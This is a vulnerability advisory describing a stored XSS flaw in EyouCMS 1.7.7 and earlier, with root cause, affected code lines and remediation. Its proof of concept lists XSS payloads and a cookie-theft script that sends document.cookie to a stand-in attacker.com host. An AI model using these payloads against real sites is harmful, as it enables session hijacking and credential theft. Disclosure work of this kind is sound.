EyouCMS 1.7.7 XSS Vulnerability
Stored XSS Vulnerability in EyouCMS ≤ 1.7.7#
Title: Stored Cross-Site Scripting (XSS) in EyouCMS ≤ 1.7.7 Ask Module#
BUG_Author: pemic
Affected Version: EyouCMS ≤ 1.7.7
Vendor: EyouCMS Official Website
Software: EyouCMS
Vulnerability Files:
application/home/model/Ask.php(Lines 566, 641)application/home/logic/AskLogic.php(Line 162)
Description:#
1. Vulnerability Overview#
EyouCMS version 1.7.7 and earlier contains a Stored Cross-Site Scripting (XSS) vulnerability in the Ask (Q&A) module. The vulnerability occurs due to improper output encoding where user-supplied content is decoded using htmlspecialchars_decode() before being rendered in the browser.
2. Root Cause Analysis#
Input Phase (application/home/logic/AskLogic.php):
// Line 162
$content = addslashes($content); // Only escapes quotes for SQL
// Line 164-166
$content = preg_replace('/style(\s*)=(\s*)[\'|\"](.*?)[\'|\"]/i', '', $content);
$content = preg_replace('/class(\s*)=(\s*)[\'|\"](.*?)[\'|\"]/i', '', $content);
// No HTML tag filtering!
Output Phase (application/home/model/Ask.php):
// Line 566 - Question details
$info['content'] = htmlspecialchars_decode($info['content']);
// Line 641 - Answer content
$value['content'] = htmlspecialchars_decode($value['content']);
The htmlspecialchars_decode() function reverses any HTML entity encoding, converting <script> back to <script>, which then executes in the browser.
3. Attack Flow#
User input:
<script>alert('XSS')</script>ThinkPHP's default filter encodes it:
<script>alert('XSS')</script>Stored in database (encoded)
Retrieved and decoded by
htmlspecialchars_decode()Output to browser:
<script>alert('XSS')</script>JavaScript executes → XSS!
4. Attack Vectors#
An authenticated attacker can inject malicious scripts through:
Question title
Question content/description
Answer content
Reply content
Proof of Concept:#
Prerequisites:#
A registered user account
Ask module enabled
Step 1: Login and Navigate to Ask Module#
http://<target>/index.php?m=home&c=Ask&a=indexStep 2: Create New Question with XSS Payload#
Payload Examples:
Basic Script:
<script>alert(document.cookie)</script>
Event Handler:
<img src=x onerror=alert('XSS')>
SVG Payload:
<svg onload=alert('XSS')>
Step 3: Submit and View#
After submitting the question/answer, when any user views the page, the JavaScript will execute in their browser context.
Step 4: Cookie Theft Example#
<script>
new Image().src='http://attacker.com/steal?c='+document.cookie;
</script>
Vulnerable Code Locations:#
| File | Line | Function | Issue |
|---|---|---|---|
Ask.php | 566 | GetAskDetailsData() | htmlspecialchars_decode() on question content |
Ask.php | 641 | GetAskReplyData() | htmlspecialchars_decode() on answer content |
AskLogic.php | 162 | ContentDealWith() | Only addslashes(), no HTML filtering |
Impact:#
| Impact Type | Description |
|---|---|
| Session Hijacking | Steal user cookies including admin sessions |
| Credential Theft | Capture user login credentials via fake forms |
| Malware Distribution | Redirect users to malicious sites |
| Defacement | Modify page content for all viewers |
| Privilege Escalation | Execute actions as other users |
CVSS v3.1 Score: 5.4 (Medium)
Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low (User registration required)
User Interaction: Required (Victim must view the page)
Scope: Changed
Confidentiality Impact: Low
Integrity Impact: Low
Availability Impact: None
Remediation:#
1. Remove htmlspecialchars_decode()#
Before (Vulnerable):
$info['content'] = htmlspecialchars_decode($info['content']);
After (Fixed):
// Do not decode - keep content encoded for safe display
// Or use proper HTML sanitization library
$info['content'] = $info['content'];
2. Use HTML Purifier#
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$info['content'] = $purifier->purify($info['content']);
3. Implement Content Security Policy#
header("Content-Security-Policy: script-src 'self'");4. Input Validation#
Filter dangerous HTML tags on input:
$content = strip_tags($content, '<p><br><b><i><u><a>');
Timeline:#
| Date | Event |
|---|---|
| 2025-12-18 | Vulnerability Discovered |
| 2025-12-18 | Report Created |